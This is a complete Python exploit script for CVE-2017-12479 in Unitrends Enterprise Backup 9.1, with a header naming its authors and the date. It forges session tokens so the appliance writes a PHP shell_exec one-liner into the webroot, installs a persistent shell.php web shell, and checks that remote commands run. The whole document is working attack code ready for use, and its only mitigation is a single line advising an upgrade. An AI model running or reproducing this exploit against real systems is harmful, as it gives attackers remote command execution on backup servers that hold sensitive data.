Unitrends UEB 9.1 – Privilege Escalation
# Exploit Title: Authenticated lowpriv RCE for Unitrends UEB 9.1 # Date: 08/08/2017 # Exploit Authors: Benny Husted, Jared Arave, Cale Smith # Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413 # Vendor Homepage: https://www.unitrends.com/ # Software Link: https://www.unitrends.com/download/enterprise-backup-software # Version: 9.1 # Tested on: CentOS6 # CVE: CVE-2017-12479 import httplib import urllib import ssl import sys import base64 import random import time import string import json from optparse import OptionParser # Print some helpful words: print """ ############################################################################### Authenticated lowpriv RCE for Unitrends UEB 9.1 Tested against appliance versions: [+] 9.1.0-2.201611302120.CentOS6 This exploit utilizes some issues in UEB9 session handling to place a php exec one liner in the webroot of the appliance. Session tokens looks like this: djA6NmM0ZWMzYTEtZmYwYi00MTIxLTk3YzYtMjQzODljM2EyNjY1OjE6L3Vzci9icC9sb2dzLmRpci9ndWlfcm9vdC5sb2c6MA== and decodes to this: LOG_LVL ----, v --- UUID ----------------------- v v -- LOG_DIR -----------v v v0:6c4ec3a1-ff0b-4121-97c6-24389c3a2665:1:/usr/bp/logs.dir/gui_root.log:0 The general steps that are followed by this poc are: 1. Authenticate as a low priv user and receive an auth token. 2. Modify the LOG_DIR field to point to a directory in the web root with apache user write access, and make a request to an arbitrary resource. This should touch a new file at the desired location. 3. Replace the UUID token in this auth token with a php shell_exec on liner, and modify the LOG_LVL parameter to a value of 5, which will ensure that the UUID is reflected into the log file. 4. Issue a final request, to generate a shell.php file with a single shell_exec. This step is not strictly necessary. ############################################################################### """ # Disable SSL Cert validation if hasattr(ssl, '_create_unverified_context'): ssl._create_default_https_context = ssl._create_unverified_context # Parse command line args: usage = "Usage: %prog -r <appliance_ip> -u <username> -p <password>\n"\ parser = OptionParser(usage=usage) parser.add_option("-r", '--RHOST', dest='rhost', action="store", help="Target host w/ UNITRENDS UEB installation") parser.add_option("-u", '--username', dest='username', action="store", help="User with any amount of privilege on unitrends device") parser.add_option("-p", '--password', dest='password', action="store", help="password for this user") (options, args) = parser.parse_args() if not options.rhost: parser.error("[!] No remote host specified.\n") elif options.rhost is None or options.username is None or options.password is None: parser.print_help() sys.exit(1) RHOST = options.rhost username = options.username password = options.password ################################################################ # REQUEST ONE: GET A UUID. ################################################################ url1 = '/api/login' a = {"username" : username, "password" : password} post_body = json.dumps(a) headers1 = {'Host' : RHOST} print "[+] Attempting to log in to {0}, {1}:{2}".format(RHOST, username, password) conn = httplib.HTTPSConnection(RHOST, 443) conn.set_debuglevel(0) conn.request("POST", url1, post_body, headers=headers1) r1 = conn.getresponse() ################################################################ # BUILD THE AUTH TOKENS THAT WE'LL USE IN AN ATTACK. ################################################################ parsed_json = json.loads(r1.read()) if 'auth_token' not in parsed_json: print "[!] Didn't receive an auth token. Bad creds?" exit() auth_encoded = parsed_json['auth_token'] auth_decoded = base64.b64decode(auth_encoded) uuid = auth_decoded.split(':')[1] ssid = auth_decoded.split(':')[2] # We'll place our command shell in /var/www/html/tempPDF, since apache # has rw in this dir. log_dir = "/var/www/html/tempPDF/" log_file = ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + '.php' log_lvl = "5" shell = "<?php echo shell_exec($_GET['cmd']);?> >" auth_mod1 = "v0:{0}:{1}:{2}{3}:{4}".format(uuid, ssid, log_dir, log_file, log_lvl) auth_mod2 = "v0:{0}:{1}:{2}{3}:{4}".format(shell, ssid, log_dir, log_file, log_lvl) auth_mod1 = base64.b64encode(auth_mod1) auth_mod2 = base64.b64encode(auth_mod2) url2 = '/api/summary/current/' ################################################################ # REQUEST 2: PUT A FILE ################################################################ print "[+] Making a request to place log to http://{0}/tempPDF/{1}".format(RHOST, log_file) headers2 = {'Host' : RHOST, 'AuthToken' : auth_mod1} # touch the file conn.request("GET", url2, headers=headers2) r2 = conn.getresponse() print "[+] Making request to reflect shell_exec php to {0}.".format(log_file) headers3 = {'Host' : RHOST, 'AuthToken' : auth_mod2} # make the first command time.sleep(.5) conn.request("GET", url2, headers=headers3) conn.close() # optional cleanup time print "[+] Making a request to generate clean shell_exec at http://{0}/tempPDF/shell.php".format(RHOST) url4 = '/tempPDF/' + log_file url4 += '?cmd=echo+-e+"<?php%20echo%20shell_exec(\$_GET[%27cmd%27]);?>"+>+shell.php' conn1 = httplib.HTTPSConnection(RHOST, 443) conn1.request("GET", url4, headers=headers2) r3 = conn1.getresponse() conn1.close() url5 = "/tempPDF/shell.php" print "[+] Checking for presence of http://{0}{1}".format(RHOST, url5) headers3 = {'Host' : RHOST} conn2 = httplib.HTTPSConnection(RHOST, 443) conn2.request("GET", url5, headers=headers2) r3 = conn2.getresponse() if r3.status == 200: print "[+] Got a 200 back. We did it." print "[+] Example cmd: http://{0}{1}?cmd=id".format(RHOST, url5) else: print "Got a {0} back. Maybe this didn't work.".format(r3.status) print "Try RCE here http://{0}/tempPDF/{1}?cmd=id".format(RHOST, log_file) conn2.close() # 3. Solution: # Update to Unitrends UEB 10 |